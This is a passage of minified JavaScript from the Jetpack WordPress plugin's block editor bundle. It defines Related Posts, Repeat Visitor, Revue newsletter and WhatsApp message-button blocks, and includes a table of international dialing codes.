l}});var r=n(51806),a=n(55609),o=n(65736),i=n(70355),s=n(86434);const __=o.__,_x=o._x,l="related-posts",c=(0,r.createElement)(a.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.G,{stroke:"currentColor",strokeWidth:"2",strokeLinecap:"square"},(0,r.createElement)(a.Path,{d:"M4,4 L4,19 M4,4 L19,4 M4,9 L19,9 M4,14 L19,14 M4,19 L19,19 M9,4 L9,19 M19,4 L19,19"}))),u={title:__("Related Posts","jetpack"),icon:{src:c,foreground:(0,i.m)()},category:"embed",keywords:[_x("similar content","block search term","jetpack"),_x("linked","block search term","jetpack"),_x("connected","block search term","jetpack")],attributes:{postLayout:{type:"string",default:"grid"},displayDate:{type:"boolean",default:!0},displayThumbnails:{type:"boolean",default:!1},displayContext:{type:"boolean",default:!1},postsToShow:{type:"number",default:3}},supports:{html:!1,multiple:!1,reusable:!1,color:{gradients:!0,link:!0},spacing:{margin:!0,padding:!0},typography:{__experimentalFontFamily:!0,fontSize:!0,lineHeight:!0},align:["wide","full"]},transforms:{from:[{type:"shortcode",tag:"jetpack-related-posts"}]},edit:s.ZP,save:()=>null,example:{attributes:{postLayout:"grid",displayDate:!0,displayThumbnails:!0,displayContext:!1,postsToShow:2}}}},4498:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(52175),s=n(55609),l=n(9818),c=n(69307),u=n(65736),d=n(65235),p=n.n(d),m=n(51100),h=n(30314);const __=u.__,_n=u._n,f=[{value:m.FV,label:__("Show after threshold","jetpack")},{value:m.Am,label:__("Show before threshold","jetpack")}];class g extends c.Component{constructor(){super(...arguments),a()(this,"state",{isThresholdValid:!0}),a()(this,"setCriteria",(e=>this.props.setAttributes({criteria:e}))),a()(this,"setThreshold",(e=>{if(/^\d+$/.test(e)&&+e>0)return this.props.setAttributes({threshold:+e}),void this.setState({isThresholdValid:!0});this.setState({isThresholdValid:!1})}))}getNoticeLabel(){return this.props.attributes.criteria===m.FV?1===this.props.attributes.threshold?__("This block will only appear to people who have visited this page more than once.","jetpack"):(0,u.sprintf)(/* translators: placeholder is a number. */
_n("This block will only appear to people who have visited this page more than %d time.","This block will only appear to people who have visited this page more than %d times.",+this.props.attributes.threshold,"jetpack"),this.props.attributes.threshold):1===this.props.attributes.threshold?__("This block will only appear to people who are visiting this page for the first time.","jetpack"):(0,u.sprintf)(/* translators: placeholder is a number. */
_n("This block will only appear to people who are visiting this page for %d time.","This block will only appear to people who have visited this page at most %d times.",+this.props.attributes.threshold,"jetpack"),this.props.attributes.threshold)}render(){return(0,o.createElement)("div",{className:p()(this.props.className,{"wp-block-jetpack-repeat-visitor--is-unselected":!this.props.isSelected})},(0,o.createElement)(s.Placeholder,{icon:h.qv,label:__("Repeat Visitor","jetpack"),className:"wp-block-jetpack-repeat-visitor-placeholder"},(0,o.createElement)(s.TextControl,{className:"wp-block-jetpack-repeat-visitor-threshold",defaultValue:this.props.attributes.threshold,help:this.state.isThresholdValid?"":__("Please enter a valid number.","jetpack"),label:__("Visit count threshold","jetpack"),min:"1",onChange:this.setThreshold,pattern:"[0-9]",type:"number"}),(0,o.createElement)(s.RadioControl,{label:__("Visibility","jetpack"),selected:this.props.attributes.criteria,options:f,onChange:this.setCriteria})),(0,o.createElement)(s.Notice,{status:"info",isDismissible:!1},this.getNoticeLabel()),(0,o.createElement)("div",{className:"wp-block-jetpack-repeat-visitor__inner-container"},(0,o.createElement)(i.InnerBlocks,null)))}}t.Z=(0,l.withSelect)(((e,t)=>{const{isBlockSelected:n,hasSelectedInnerBlock:r}=e("core/block-editor");return{isSelected:n(t.clientId)||r(t.clientId)}}))(g)},48516:function(e,t,n){"use strict";var r=n(51806),a=n(52175);t.Z=e=>{let{className:t}=e;return(0,r.createElement)("div",{className:t},(0,r.createElement)("div",{className:"wp-block-jetpack-repeat-visitor__inner-container"},(0,r.createElement)(a.InnerBlocks.Content,null)))}},51100:function(e,t,n){"use strict";n.d(t,{Am:function(){return a},FV:function(){return r},Kv:function(){return o}});const r="after-visits",a="before-visits",o=3},50323:function(e,t,n){"use strict";var r=n(31985),a=n(30314);(0,r.Z)(a.u2,a.Xd)},30314:function(e,t,n){"use strict";n.d(t,{Xd:function(){return f},qv:function(){return h},u2:function(){return m}});var r=n(51806),a=n(52175),o=n(55609),i=n(65736),s=n(70355),l=n(36598),c=n(4498),u=n(48516),d=n(51100);const __=i.__,_x=i._x,p={attributes:{criteria:{type:"string",default:d.FV},threshold:{type:"number",default:d.Kv}},supports:{html:!1},save:e=>{let{className:t}=e;return(0,r.createElement)("div",{className:t},(0,r.createElement)(a.InnerBlocks.Content,null))}},m="repeat-visitor",h=(0,l.Z)((0,r.createElement)(o.Path,{d:"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9zm-1 5v5l4.28 2.54.72-1.21-3.5-2.08V8H12z"})),f={attributes:{criteria:{type:"string",default:d.FV},threshold:{type:"number",default:d.Kv}},category:"widgets",description:__("Control block visibility based on how often a visitor has viewed the page.","jetpack"),icon:{src:h,foreground:(0,s.m)()},keywords:[_x("return","block search term","jetpack"),_x("visitors","block search term","jetpack"),_x("visibility","block search term","jetpack")],supports:{align:["wide","full"],html:!1},title:__("Repeat Visitor","jetpack"),edit:c.Z,save:u.Z,example:{attributes:{criteria:d.FV,threshold:d.Kv},innerBlocks:[{name:"core/paragraph",attributes:{content:__("This block will only appear to a visitor who visited the page three or more times.","jetpack")}}]},deprecated:[p]}},98052:function(e,t,n){"use strict";var r=n(65736);const __=r.__;t.Z={revueUsername:{type:"string"},emailLabel:{type:"string",default:__("Email address","jetpack")},emailPlaceholder:{type:"string",default:__("Enter your email address","jetpack")},firstNameLabel:{type:"string",default:__("First name","jetpack")},firstNamePlaceholder:{type:"string",default:__("Enter your first name","jetpack")},firstNameShow:{type:"boolean",default:!0},lastNameLabel:{type:"string",default:__("Last name","jetpack")},lastNamePlaceholder:{type:"string",default:__("Enter your last name","jetpack")},lastNameShow:{type:"boolean",default:!0}}},67686:function(e,t,n){"use strict";var r=n(51806),a=n(4981),o=n(65736),i=n(92819);const _x=o._x,__=o.__,s=["text","backgroundColor","textColor","customBackgroundColor","customTextColor","borderRadius","gradient","customGradient"];t.Z={attributes:{revueUsername:{type:"string"},text:{type:"string",default:_x("Subscribe","verb: e.g. subscribe to a newsletter.","jetpack")},emailLabel:{type:"string",default:__("Email address","jetpack")},emailPlaceholder:{type:"string",default:__("Enter your email address","jetpack")},firstNameLabel:{type:"string",default:__("First name","jetpack")},firstNamePlaceholder:{type:"string",default:__("Enter your first name","jetpack")},firstNameShow:{type:"boolean",default:!0},lastNameLabel:{type:"string",default:__("Last name","jetpack")},lastNamePlaceholder:{type:"string",default:__("Enter your last name","jetpack")},lastNameShow:{type:"boolean",default:!0},backgroundColor:{type:"string"},textColor:{type:"string"},customBackgroundColor:{type:"string"},customTextColor:{type:"string"},borderRadius:{type:"number"},gradient:{type:"string"},customGradient:{type:"string"}},migrate:e=>{const t=(0,i.omit)(e,s),n=(0,i.pick)(e,s);return[t,[(0,a.createBlock)("jetpack/button",{element:"button",text:n.text||"Subscribe",...n})]]},isEligible:(e,t)=>(0,i.isEmpty)(t)||(0,i.some)((0,i.pick)(e,s),Boolean),save:e=>{let{attributes:{revueUsername:t}}=e;const n=`https://www.getrevue.co/profile/${t}`;return(0,r.createElement)("div",null,(0,r.createElement)("a",{href:n},n))}}},40349:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(6895),o=n(13419),i=n(55609),s=n(65736),l=n(63519);const __=s.__;function c(e){let{className:t}=e;const n=(0,a.Z)("revue-block-follower-migration",{site:(0,o.lQ)()});return(0,r.createElement)("div",{className:t},(0,r.createElement)(i.Placeholder,{icon:l.Z,instructions:__("Revue is shutting down. The Revue signup form will no longer be displayed to your visitors and as such this block should be removed.","jetpack"),label:__("Revue","jetpack")},(0,r.createElement)("div",{className:"components-placeholder__learn-more"},(0,r.createElement)(i.ExternalLink,{href:(0,a.Z)("revue-block-migration-info")},__("You can migrate from Revue to the WordPress.com Newsletter - find out more here.","jetpack")),(0,r.createElement)("br",null),(0,r.createElement)("br",null),(0,r.createElement)(i.ExternalLink,{href:n},__("Import your subscribers to WordPress.com here.","jetpack")))))}},57537:function(e,t,n){"use strict";var r=n(31985),a=n(12012);(0,r.Z)(a.u,a.X)},63519:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=(0,r.createElement)(a.SVG,{width:"24px",height:"24px",viewBox:"0 0 24 24",version:"1.1",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.G,{fillRule:"nonzero"},(0,r.createElement)(a.Path,{d:"M16.8452322,23.2301186 C13.9471277,22.2565366 12.0226052,20.2188069 10.6188359,16.5961763 C10.2565728,15.6225943 9.87166831,14.4905223 9.80374399,14.1056178 C9.66789534,13.4037331 9.6452539,13.3810917 8.96601067,13.6075061 C7.8792215,13.9697691 7.76601429,14.1282592 7.35846835,15.758443 C6.724508,18.2490015 6.45281071,18.7244718 5.56979451,18.8829619 C5.09432424,18.9735276 4.5735711,18.9282447 4.27923236,18.7697547 C3.84904498,18.5433402 3.8037621,18.3848502 3.93961075,17.501834 C4.00753507,16.9584394 4.41508101,15.3056142 4.82262695,13.8339205 C5.8414918,10.2792143 6.11318909,8.98865211 6.29432062,7.1094125 C6.43016927,5.63771883 6.47545215,5.50187018 7.08677106,5.20753145 C7.92450438,4.79998551 8.80752058,5.09432424 9.19242508,5.88677468 C9.44148093,6.38488639 9.39619805,6.90563953 8.96601067,8.98865211 C8.67167193,10.3924215 8.51318185,11.5244935 8.62638905,11.5244935 C9.12450076,11.5244935 11.2754377,10.2565728 12.0452467,9.50940525 C13.8339205,7.83393861 14.2641079,5.77356748 13.2905259,3.82640354 C12.5886412,2.4226342 11.6150593,1.94716393 9.78110255,2.08301258 C6.97356385,2.28678555 4.43772245,4.25659092 3.01131166,7.35846835 C2.21886123,9.05657643 2.19621978,9.07921787 1.49433511,8.94336923 C-1.74339096,8.28676744 0.63396035,3.39621616 5.29809721,1.19999638 C8.39997464,-0.294338734 11.5018521,-0.362263057 14.0829764,0.950940525 C17.0716466,2.51319996 18.0225871,5.93205756 16.2791961,8.96601067 C15.5999529,10.1433656 14.2641079,11.3886449 12.9509043,12.0678881 C12.5433584,12.2716611 12.2037367,12.5207169 12.2037367,12.6339241 C12.2037367,12.9509043 13.2678845,15.9395745 13.6301475,16.6641006 C14.3093908,17.9773042 16.2339133,19.8112609 17.4565511,20.377297 C18.8829619,21.0112573 21.4640861,21.0791816 23.0263456,20.5131456 L23.9772861,20.1508826 L23.9772861,20.7169186 C23.9772861,21.5320105 23.3433258,22.3471023 22.3018195,22.8904969 C21.147106,23.4791744 18.1584357,23.6603059 16.8452322,23.2301186 Z"})))},12012:function(e,t,n){"use strict";n.d(t,{X:function(){return d},u:function(){return u}});var r=n(65736),a=n(70355),o=n(98052),i=n(67686),s=n(40349),l=n(63519),c=n(15014);const __=r.__,_x=r._x,u="revue",d={title:__("Revue","jetpack"),description:__("Add a subscription form for your Revue newsletter.","jetpack"),icon:{src:l.Z,foreground:(0,a.m)()},category:"grow",keywords:[_x("email","block search term","jetpack"),_x("subscription","block search term","jetpack"),_x("newsletter","block search term","jetpack"),_x("mailing list","block search term","jetpack")],supports:{html:!1,inserter:!1},attributes:o.Z,edit:s.Z,save:c.Z,example:{attributes:{revueUsername:"example"}},deprecated:[i.Z]}},15014:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(52175);function o(e){let{attributes:{revueUsername:t}}=e;const n=`https://www.getrevue.co/profile/${t}`;return(0,r.createElement)("div",null,(0,r.createElement)(a.InnerBlocks.Content,null),(0,r.createElement)("a",{className:"wp-block-jetpack-revue__fallback",href:n},n))}},26208:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(52175);function o(e){let{className:t}=e;return(0,r.createElement)("div",{className:t},(0,r.createElement)(a.InnerBlocks,{template:[["jetpack/whatsapp-button",{}]],allowedBlocks:["jetpack/whatsapp-button"]}))}},23346:function(e,t,n){"use strict";var r=n(31985),a=n(71290),o=n(17458);(0,r.Z)(o.u2,o.Xd,[{name:a.u2,settings:a.Xd}])},17458:function(e,t,n){"use strict";n.d(t,{Xd:function(){return p},u2:function(){return d}});var r=n(51806),a=n(52175),o=n(55609),i=n(65736),s=n(70355),l=n(36598),c=n(26208),u=n(1645);const __=i.__,_x=i._x,d="send-a-message",p={title:__("Send A Message","jetpack"),description:__("Let your visitors send you messages with the tap of a button.","jetpack"),icon:{src:(0,l.Z)((0,r.createElement)(o.Path,{d:"M21 6h-2v9H6v2c0 .55.45 1 1 1h11l4 4V7c0-.55-.45-1-1-1zm-4 6V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1z"})),foreground:(0,s.m)()},category:"grow",keywords:[_x("whatsapp","keyword","jetpack"),_x("messenger","keyword","jetpack"),_x("contact","keyword","jetpack"),_x("support","keyword","jetpack")],supports:{html:!1},attributes:{},edit:c.Z,save:e=>(0,r.createElement)("div",{className:e.className},(0,r.createElement)(a.InnerBlocks.Content,null)),variations:u.Z,example:{}}},46482:function(e,t,n){"use strict";n.d(t,{n:function(){return r}});const r=[{code:"US",label:"🇺🇸 +1",value:"1US"},{code:"CA",label:"🇨🇦 +1",value:"1CA"},{code:"BS",label:"🇧🇸 +1242",value:"1242BS"},{code:"BB",label:"🇧🇧 +1246",value:"1246BB"},{code:"AI",label:"🇦🇮 +1264",value:"1264AI"},{code:"AG",label:"🇦🇬 +1268",value:"1268AG"},{code:"VG",label:"🇻🇬 +1284",value:"1284VG"},{code:"VI",label:"🇻🇮 +1340",value:"1340VI"},{code:"BM",label:"🇧🇲 +1441",value:"1441BM"},{code:"GD",label:"🇬🇩 +1473",value:"1473GD"},{code:"TC",label:"🇹🇨 +1649",value:"1649TC"},{code:"MS",label:"🇲🇸 +1664",value:"1664MS"},{code:"MP",label:"🇲🇵 +1670",value:"1670MP"},{code:"GU",label:"🇬🇺 +1671",value:"1671GU"},{code:"AS",label:"🇦🇸 +1684",value:"1684AS"},{code:"LC",label:"🇱🇨 +1758",value:"1758LC"},{code:"DM",label:"🇩🇲 +1767",value:"1767DM"},{code:"VC",label:"🇻🇨 +1784",value:"1784VC"},{code:"DO",label:"🇩🇴 +1849",value:"1849DO"},{code:"TT",label:"🇹🇹 +1868",value:"1868TT"},{code:"KN",label:"🇰🇳 +1869",value:"1869KN"},{code:"JM",label:"🇯🇲 +1876",value:"1876JM"},{code:"PR",label:"🇵🇷 +1939",value:"1939PR"},{code:"EG",label:"🇪🇬 +20",value:"20EG"},{code:"MA",label:"🇲🇦 +212",value:"212MA"},{code:"DZ",label:"🇩🇿 +213",value:"213DZ"},{code:"TN",label:"🇹🇳 +216",value:"216TN"},{code:"LY",label:"🇱🇾 +218",value:"218LY"},{code:"GM",label:"🇬🇲 +220",value:"220GM"},{code:"SN",label:"🇸🇳 +221",value:"221SN"},{code:"MR",label:"🇲🇷 +222",value:"222MR"},{code:"ML",label:"🇲🇱 +223",value:"223ML"},{code:"GN",label:"🇬🇳 +224",value:"224GN"},{code:"CI",label:"🇨🇮 +225",value:"225CI"},{code:"BF",label:"🇧🇫 +226",value:"226BF"},{code:"NE",label:"🇳🇪 +227",value:"227NE"},{code:"TG",label:"🇹🇬 +228",value:"228TG"},{code:"BJ",label:"🇧🇯 +229",value:"229BJ"},{code:"MU",label:"🇲🇺 +230",value:"230MU"},{code:"LR",label:"🇱🇷 +231",value:"231LR"},{code:"SL",label:"🇸🇱 +232",value:"232SL"},{code:"GH",label:"🇬🇭 +233",value:"233GH"},{code:"NG",label:"🇳🇬 +234",value:"234NG"},{code:"TD",label:"🇹🇩 +235",value:"235TD"},{code:"CF",label:"🇨🇫 +236",value:"236CF"},{code:"CM",label:"🇨🇲 +237",value:"237CM"},{code:"CV",label:"🇨🇻 +238",value:"238CV"},{code:"ST",label:"🇸🇹 +239",value:"239ST"},{code:"GQ",label:"🇬🇶 +240",value:"240GQ"},{code:"GA",label:"🇬🇦 +241",value:"241GA"},{code:"CG",label:"🇨🇬 +242",value:"242CG"},{code:"CD",label:"🇨🇩 +243",value:"243CD"},{code:"AO",label:"🇦🇴 +244",value:"244AO"},{code:"GW",label:"🇬🇼 +245",value:"245GW"},{code:"IO",label:"🇮🇴 +246",value:"246IO"},{code:"SC",label:"🇸🇨 +248",value:"248SC"},{code:"SD",label:"🇸🇩 +249",value:"249SD"},{code:"RW",label:"🇷🇼 +250",value:"250RW"},{code:"ET",label:"🇪🇹 +251",value:"251ET"},{code:"SO",label:"🇸🇴 +252",value:"252SO"},{code:"DJ",label:"🇩🇯 +253",value:"253DJ"},{code:"KE",label:"🇰🇪 +254",value:"254KE"},{code:"TZ",label:"🇹🇿 +255",value:"255TZ"},{code:"UG",label:"🇺🇬 +256",value:"256UG"},{code:"BI",label:"🇧🇮 +257",value:"257BI"},{code:"MZ",label:"🇲🇿 +258",value:"258MZ"},{code:"ZM",label:"🇿🇲 +260",value:"260ZM"},{code:"MG",label:"🇲🇬 +261",value:"261MG"},{code:"YT",label:"🇾🇹 +262",value:"262YT"},{code:"RE",label:"🇷🇪 +262",value:"262RE"},{code:"ZW",label:"🇿🇼 +263",value:"263ZW"},{code:"NA",label:"🇳🇦 +264",value:"264NA"},{code:"MW",label:"🇲🇼 +265",value:"265MW"},{code:"LS",label:"🇱🇸 +266",value:"266LS"},{code:"BW",label:"🇧🇼 +267",value:"267BW"},{code:"SZ",label:"🇸🇿 +268",value:"268SZ"},{code:"KM",label:"🇰🇲 +269",value:"269KM"},{code:"ZA",label:"🇿🇦 +27",value:"27ZA"},{code:"SH",label:"🇸🇭 +290",value:"290SH"},{code:"ER",label:"🇪🇷 +291",value:"291ER"},{code:"AW",label:"🇦🇼 +297",value:"297AW"},{code:"FO",label:"🇫🇴 +298",value:"298FO"},{code:"GL",label:"🇬🇱 +299",value:"299GL"},{code:"GR",label:"🇬🇷 +30",value:"30GR"},{code:"NL",label:"🇳🇱 +31",value:"31NL"},{code:"BE",label:"🇧🇪 +32",value:"32BE"},{code:"FR",label:"🇫🇷 +33",value:"33FR"},{code:"ES",label:"🇪🇸 +34",value:"34ES"},{code:"KY",label:"🇰🇾 +345",value:"345KY"},{code:"GI",label:"🇬🇮 +350",value:"350GI"},{code:"PT",label:"🇵🇹 +351",value:"351PT"},{code:"LU",label:"🇱🇺 +352",value:"352LU"},{code:"IE",label:"🇮🇪 +353",value:"353IE"},{code:"IS",label:"🇮🇸 +354",value:"354IS"},{code:"AL",label:"🇦🇱 +355",value:"355AL"},{code:"MT",label:"🇲🇹 +356",value:"356MT"},{code:"CY",label:"🇨🇾 +357",value:"357CY"},{code:"FI",label:"🇫🇮 +358",value:"358FI"},{code:"BG",label:"🇧🇬 +359",value:"359BG"},{code:"HU",label:"🇭🇺 +36",value:"36HU"},{code:"LT",label:"🇱🇹 +370",value:"370LT"},{code:"LV",label:"🇱🇻 +371",value:"371LV"},{code:"EE",label:"🇪🇪 +372",value:"372EE"},{code:"MD",label:"🇲🇩 +373",value:"373MD"},{code:"AM",label:"🇦🇲 +374",value:"374AM"},{code:"BY",label:"🇧🇾 +375",value:"375BY"},{code:"AD",label:"🇦🇩 +376",value:"376AD"},{code:"MC",label:"🇲🇨 +377",value:"377MC"},{code:"SM",label:"🇸🇲 +378",value:"378SM"},{code:"VA",label:"🇻🇦 +379",value:"379VA"},{code:"UA",label:"🇺🇦 +380",value:"380UA"},{code:"RS",label:"🇷🇸 +381",value:"381RS"},{code:"ME",label:"🇲🇪 +382",value:"382ME"},{code:"XK",label:"🇽🇰 +383",value:"383XK"},{code:"HR",label:"🇭🇷 +385",value:"385HR"},{code:"SI",label:"🇸🇮 +386",value:"386SI"},{code:"BA",label:"🇧🇦 +387",value:"387BA"},{code:"MK",label:"🇲🇰 +389",value:"389MK"},{code:"IT",label:"🇮🇹 +39",value:"39IT"},{code:"RO",label:"🇷🇴 +40",value:"40RO"},{code:"CH",label:"🇨🇭 +41",value:"41CH"},{code:"CZ",label:"🇨🇿 +420",value:"420CZ"},{code:"SK",label:"🇸🇰 +421",value:"421SK"},{code:"LI",label:"🇱🇮 +423",value:"423LI"},{code:"AT",label:"🇦🇹 +43",value:"43AT"},{code:"IM",label:"🇮🇲 +44",value:"44IM"},{code:"GG",label:"🇬🇬 +44",value:"44GG"},{code:"JE",label:"🇯🇪 +44",value:"44JE"},{code:"GB",label:"🇬🇧 +44",value:"44GB"},{code:"DK",label:"🇩🇰 +45",value:"45DK"},{code:"SE",label:"🇸🇪 +46",value:"46SE"},{code:"NO",label:"🇳🇴 +47",value:"47NO"},{code:"SJ",label:"🇸🇯 +47",value:"47SJ"},{code:"PL",label:"🇵🇱 +48",value:"48PL"},{code:"DE",label:"🇩🇪 +49",value:"49DE"},{code:"FK",label:"🇫🇰 +500",value:"500FK"},{code:"GS",label:"🇬🇸 +500",value:"500GS"},{code:"BZ",label:"🇧🇿 +501",value:"501BZ"},{code:"GT",label:"🇬🇹 +502",value:"502GT"},{code:"SV",label:"🇸🇻 +503",value:"503SV"},{code:"HN",label:"🇭🇳 +504",value:"504HN"},{code:"NI",label:"🇳🇮 +505",value:"505NI"},{code:"CR",label:"🇨🇷 +506",value:"506CR"},{code:"PA",label:"🇵🇦 +507",value:"507PA"},{code:"PM",label:"🇵🇲 +508",value:"508PM"},{code:"HT",label:"🇭🇹 +509",value:"509HT"},{code:"PE",label:"🇵🇪 +51",value:"51PE"},{code:"MX",label:"🇲🇽 +52",value:"52MX"},{code:"CU",label:"🇨🇺 +53",value:"53CU"},{code:"AR",label:"🇦🇷 +54",value:"54AR"},{code:"BR",label:"🇧🇷 +55",value:"55BR"},{code:"CL",label:"🇨🇱 +56",value:"56CL"},{code:"CO",label:"🇨🇴 +57",value:"57CO"},{code:"VE",label:"🇻🇪 +58",value:"58VE"},{code:"BL",label:"🇧🇱 +590",value:"590BL"},{code:"MF",label:"🇲🇫 +590",value:"590MF"},{code:"GP",label:"🇬🇵 +590",value:"590GP"},{code:"BO",label:"🇧🇴 +591",value:"591BO"},{code:"GY",label:"🇬🇾 +592",value:"592GY"},{code:"EC",label:"🇪🇨 +593",value:"593EC"},{code:"GF",label:"🇬🇫 +594",value:"594GF"},{code:"PY",label:"🇵🇾 +595",value:"595PY"},{code:"MQ",label:"🇲🇶 +596",value:"596MQ"},{code:"SR",label:"🇸🇷 +597",value:"597SR"},{code:"UY",label:"🇺🇾 +598",value:"598UY"},{code:"MY",label:"🇲🇾 +60",value:"60MY"},{code:"CC",label:"🇨🇨 +61",value:"61CC"},{code:"AU",label:"🇦🇺 +61",value:"61AU"},{code:"CX",label:"🇨🇽 +61",value:"61CX"},{code:"ID",label:"🇮🇩 +62",value:"62ID"},{code:"PH",label:"🇵🇭 +63",value:"63PH"},{code:"NZ",label:"🇳🇿 +64",value:"64NZ"},{code:"SG",label:"🇸🇬 +65",value:"65SG"},{code:"TH",label:"🇹🇭 +66",value:"66TH"},{code:"TL",label:"🇹🇱 +670",value:"670TL"},{code:"NF",label:"🇳🇫 +672",value:"672NF"},{code:"BN",label:"🇧🇳 +673",value:"673BN"},{code:"NR",label:"🇳🇷 +674",value:"674NR"},{code:"PG",label:"🇵🇬 +675",value:"675PG"},{code:"TO",label:"🇹🇴 +676",value:"676TO"},{code:"SB",label:"🇸🇧 +677",value:"677SB"},{code:"VU",label:"🇻🇺 +678",value:"678VU"},{code:"FJ",label:"🇫🇯 +679",value:"679FJ"},{code:"PW",label:"🇵🇼 +680",value:"680PW"},{code:"WF",label:"🇼🇫 +681",value:"681WF"},{code:"CK",label:"🇨🇰 +682",value:"682CK"},{code:"NU",label:"🇳🇺 +683",value:"683NU"},{code:"WS",label:"🇼🇸 +685",value:"685WS"},{code:"KI",label:"🇰🇮 +686",value:"686KI"},{code:"NC",label:"🇳🇨 +687",value:"687NC"},{code:"TV",label:"🇹🇻 +688",value:"688TV"},{code:"PF",label:"🇵🇫 +689",value:"689PF"},{code:"TK",label:"🇹🇰 +690",value:"690TK"},{code:"FM",label:"🇫🇲 +691",value:"691FM"},{code:"MH",label:"🇲🇭 +692",value:"692MH"},{code:"RU",label:"🇷🇺 +7",value:"7RU"},{code:"KZ",label:"🇰🇿 +77",value:"77KZ"},{code:"JP",label:"🇯🇵 +81",value:"81JP"},{code:"KR",label:"🇰🇷 +82",value:"82KR"},{code:"VN",label:"🇻🇳 +84",value:"84VN"},{code:"KP",label:"🇰🇵 +850",value:"850KP"},{code:"HK",label:"🇭🇰 +852",value:"852HK"},{code:"MO",label:"🇲🇴 +853",value:"853MO"},{code:"KH",label:"🇰🇭 +855",value:"855KH"},{code:"LA",label:"🇱🇦 +856",value:"856LA"},{code:"CN",label:"🇨🇳 +86",value:"86CN"},{code:"PN",label:"🇵🇳 +872",value:"872PN"},{code:"BD",label:"🇧🇩 +880",value:"880BD"},{code:"TW",label:"🇹🇼 +886",value:"886TW"},{code:"TR",label:"🇹🇷 +90",value:"90TR"},{code:"IN",label:"🇮🇳 +91",value:"91IN"},{code:"PK",label:"🇵🇰 +92",value:"92PK"},{code:"AF",label:"🇦🇫 +93",value:"93AF"},{code:"LK",label:"🇱🇰 +94",value:"94LK"},{code:"MM",label:"🇲🇲 +95",value:"95MM"},{code:"MV",label:"🇲🇻 +960",value:"960MV"},{code:"LB",label:"🇱🇧 +961",value:"961LB"},{code:"JO",label:"🇯🇴 +962",value:"962JO"},{code:"SY",label:"🇸🇾 +963",value:"963SY"},{code:"IQ",label:"🇮🇶 +964",value:"964IQ"},{code:"KW",label:"🇰🇼 +965",value:"965KW"},{code:"SA",label:"🇸🇦 +966",value:"966SA"},{code:"YE",label:"🇾🇪 +967",value:"967YE"},{code:"OM",label:"🇴🇲 +968",value:"968OM"},{code:"PS",label:"🇵🇸 +970",value:"970PS"},{code:"AE",label:"🇦🇪 +971",value:"971AE"},{code:"IL",label:"🇮🇱 +972",value:"972IL"},{code:"BH",label:"🇧🇭 +973",value:"973BH"},{code:"QA",label:"🇶🇦 +974",value:"974QA"},{code:"BT",label:"🇧🇹 +975",value:"975BT"},{code:"MN",label:"🇲🇳 +976",value:"976MN"},{code:"NP",label:"🇳🇵 +977",value:"977NP"},{code:"IR",label:"🇮🇷 +98",value:"98IR"},{code:"TJ",label:"🇹🇯 +992",value:"992TJ"},{code:"TM",label:"🇹🇲 +993",value:"993TM"},{code:"AZ",label:"🇦🇿 +994",value:"994AZ"},{code:"GE",label:"🇬🇪 +995",value:"995GE"},{code:"KG",label:"🇰🇬 +996",value:"996KG"},{code:"UZ",label:"🇺🇿 +998",value:"998UZ"}]},1645:function(e,t,n){"use strict";var r=n(65736),a=n(42770),o=n(57954);const __=r.__,i=[{isDefault:!0,name:"whatsapp-button",title:__("WhatsApp Button","jetpack"),description:__("Let your visitors send you messages on WhatsApp with the tap of a button.","jetpack"),icon:(0,a.p)("send-a-message",o.Z),innerBlocks:[["jetpack/whatsapp-button",{}]]}];t.Z=i},88377:function(e,t,n){"use strict";var r=n(65736);const __=r.__;t.Z={countryCode:{type:"string"},phoneNumber:{type:"string"},firstMessage:{type:"string",default:__("Hi, I got your WhatsApp information from your website.","jetpack")},buttonText:{type:"string",source:"html",selector:"a.whatsapp-block__button",default:__("Chat on WhatsApp","jetpack")},backgroundColor:{type:"string",default:"#25D366"},colorClass:{type:"string",default:"dark"},openInNewTab:{type:"boolean",default:!1}}},35513:function(e,t,n){"use strict";n.d(t,{Z:function(){return f}});var r=n(51806),a=n(52175),o=n(55609),i=n(69307),s=n(65736),l=n(39630),c=n(59809),u=n(36598),d=n(46482);const __=s.__,_x=s._x,p="#25D366",m="#465B64",h="#F4F4F4";function f(e){let{attributes:t,setAttributes:n,context:s}=e;const{countryCode:f,phoneNumber:g,firstMessage:b,openInNewTab:v,backgroundColor:k}=t,[y,E]=(0,i.useState)(!0),w=()=>(0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.BaseControl,{label:__("Phone Number","jetpack"),help:__("Enter the phone number you use for WhatsApp and would like to be contacted on.","jetpack"),className:"jetpack-whatsapp-button__phonenumber"},(0,r.createElement)(o.SelectControl,{label:__("Country code","jetpack"),value:f,onChange:e=>n({countryCode:e}),options:d.n,hideLabelFromVision:!0}),(0,r.createElement)(o.TextControl,{placeholder:__("Your phone number…","jetpack"),onChange:e=>{n({phoneNumber:e}),0===e.length&&E(!0),e.length>2&&E((e=>{const t=RegExp(/^[+]?[\s./0-9]*[(]?[0-9]{1,4}[)]?[-\s./0-9]*$/,"g");return!(void 0===e||e.length<1)&&t.test(f.replace(/\D/g,"")+e)})(e))},value:g}),!y&&(0,r.createElement)(c.Z,{isError:!0,className:"jetpack-whatsapp-error"},__("Please enter a valid phone number.","jetpack"))),"inspector"===s&&(0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.TextareaControl,{label:__("Default First Message","jetpack"),help:__("The default first message that will be sent by visitors when using this button.","jetpack"),value:b,onChange:e=>n({firstMessage:e})}),(0,r.createElement)(o.ToggleControl,{label:__("Open in new tab","jetpack"),checked:v,onChange:e=>n({openInNewTab:e}),help:__("When the button is tapped, should a new tab be opened if the visitor does not have WhatsApp 